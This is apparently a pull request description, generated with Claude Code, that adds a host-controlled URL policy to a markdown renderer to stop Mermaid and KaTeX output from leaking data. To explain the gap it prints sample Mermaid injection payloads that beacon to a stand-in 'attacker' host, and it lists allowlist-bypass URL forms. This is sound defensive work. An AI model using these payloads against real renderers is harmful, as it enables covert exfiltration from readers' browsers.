feat(url-policy): TrustedURL-shaped host gate for every emitted URL (prototype)

[jonathanKingston]

Prototype of a MarkdownConfig.urlPolicy — one host-controlled gate consulted for every URL this package emits — modelled on the TrustedURL type Trusted Types dropped in w3c/trusted-types#65.

renderMarkdown(md, {
  urlPolicy: {
    baseOrigin: 'https://app.example.com',
    createURL: ({ url, sink }) =>
      sink === 'navigation'
        ? (url?.href ?? null)                                          // links: anywhere
        : url?.origin === 'https://app.example.com' ? url.href : null, // fetches: same-origin
  },
})

Why

Mermaid SVG and KaTeX HTML are injected after the sink sanitizer, so linkImagePolicy never sees them. Measured against real mermaid 11 in Chromium at its default securityLevel: 'strict':

vector	emitted?	fetched with no interaction?
A["<img src='https://attacker/leak'>"] → <img> inside <foreignObject>	yes	yes
%%{init: {"themeCSS": "… url(https://attacker/css) …"}}%% → url() in the SVG's <style>	yes	yes
click A href "https://attacker/x" → <a xlink:href>	yes	on click

Neither flowchart: { htmlLabels: false } nor mermaid's own dompurifyConfig stops the first two — both still emitted and still fetched — so it has to be filtered on the way out. XSS is not the gap here (mermaid's internal DOMPurify strips onerror and javascript: hrefs); exfiltration is.

Why the shape transfers even though the platform dropped it. TrustedURL died because enforcement across the DOM's unbounded URL sink surface broke too much, and the residual non-XSS risks were delegated to CSP *-src. Neither objection applies to a markdown renderer: the sink surface is small and enumerable because this package emits it, and a library cannot set the host's CSP — which is exactly why the gap above exists. The issue's own conclusion (hard-block javascript: after parsing rather than ask developers to sanitize every href) becomes the floor: the scheme allowlist runs first, applies to what a policy returns as well as what it is asked, and a host policy can only narrow from there.

What changed

Enforced at all three tiers, so "the policy sees every URL" is a real property rather than a claim:

• inline emitters (renderAnchor / renderedImage / renderedAutolink) — covers the renderMarkdownUnsafe string path, which never reaches the sink
• sink gate — raw-HTML passthrough destinations, which never met safeLinkHref
• new post-sink walker (url-filter-markup.ts) — diagram/math markup: href, xlink:href, src, srcset, and url() in both <style> text and style attributes

The scheme allowlist (DEFAULT_SAFE_HREF_SCHEMES / isAllowedHref / getSafeHrefSchemes) moved from inline-links.ts to url-policy.ts so the floor can apply on paths that never touch the inline module; it is re-exported from its original home, and the barrel surface is unchanged apart from the new filterMarkupUrlsString.

Off by default — with no policy installed every call is one null check and output is byte-identical.

Design notes for review

• UrlRequest.url is a canonicalized, credential-stripped URL, not a raw string. Prefix-matching raw strings is where origin allowlists get bypassed (https://good.com@evil.com, \ for /, scheme-relative, punycode); handing hosts the parsed URL removes that class from their code.
• sink (navigation | image | style) is the distinction TrustedURL lacked, and a large part of why it was unusable: cross-origin is ordinary for a link a reader follows and an unattended channel for a subresource the browser fetches on sight.
• Same-document fragments pass unchecked. Every diagram carries url(#…-pointEnd) marker refs and <use href="#…">; blocking them removes every arrowhead.
• The policy runs at the emitters, not inside safeLinkHref. That function is also the parse gate linkOrImageEndAt uses to probe link boundaries for the emphasis pass and discards — a policy there saw every URL twice and would have let a host decision change how emphasis pairs.
• Blocked ⇒ attribute removed, element kept (dead <a> keeps its label, <img> keeps its alt), matching how link-image-policy.ts already neutralizes.
• Post-sink markup is parsed in a browsing-context-free DOMParser document — verified in Chromium to issue no requests — so every URL is decided before anything can fetch.

Measured limitation (recorded in the module header)

mermaid.render() fetches the label <img> and the themeCSS url() itself, because it renders into a temporary live node to measure labels. Confirmed with nothing injected into the page. The first beacon is therefore already gone before a host sees the SVG string. This pass stops everything after that — repeat loads, the persistent subresource, click-through destinations, CSS fetches in the injected document — but the initial exfiltration can only be closed on the way in, by controlling the source handed to the backend (mermaidSourceCandidates) or rendering in a sandbox. Worth deciding before this goes beyond prototype.

Open items

• Bundle budget. Core went 36407 → 37506 gzip (+1099, ~3%), over the committed 37000. size:update deliberately not run — the alternative is moving the walker behind the /diagrams/* and /math/* subpaths so hosts without a policy don't pay for it.
• Trusted Types. DOMParser.parseFromString is itself a TT sink (same reason DOMPurify ships its own policy), so the parse needs routing through the html-sink.ts chokepoint under enforcement. Flagged in the module header.
• The marker attribute. Renderer-emitted links carry data-smd-url-checked so the sink can distinguish them from passthrough and not double-call a rewriting policy. It exists only while a policy is installed and never survives the sink, but it's the least elegant part.
• safeHrefSchemes / linkImagePolicy are not yet folded in as sugar over this primitive — deliberately out of scope until the shape is settled.
• Docs (SECURITY.md trust-boundary section, EXTENDING.md) not yet updated; happy to write the ADR if the shape holds up.

Testing

npm test — 1244 pass, 0 fail. New src/url-policy.test.ts (17 tests) covers the off-by-default byte-identity, per-sink coverage of links/images/autolinks with exactly-once presentation, rewriting, canonicalization, the floor on both the request and the response, passthrough gating, marker non-leakage, the full mermaid SVG shape (foreignObject / themeCSS / xlink:href / fragment refs), and end-to-end hydration. Additionally verified in real Chromium against real mermaid via playwright-core. Typecheck clean.

🤖 Generated with Claude Code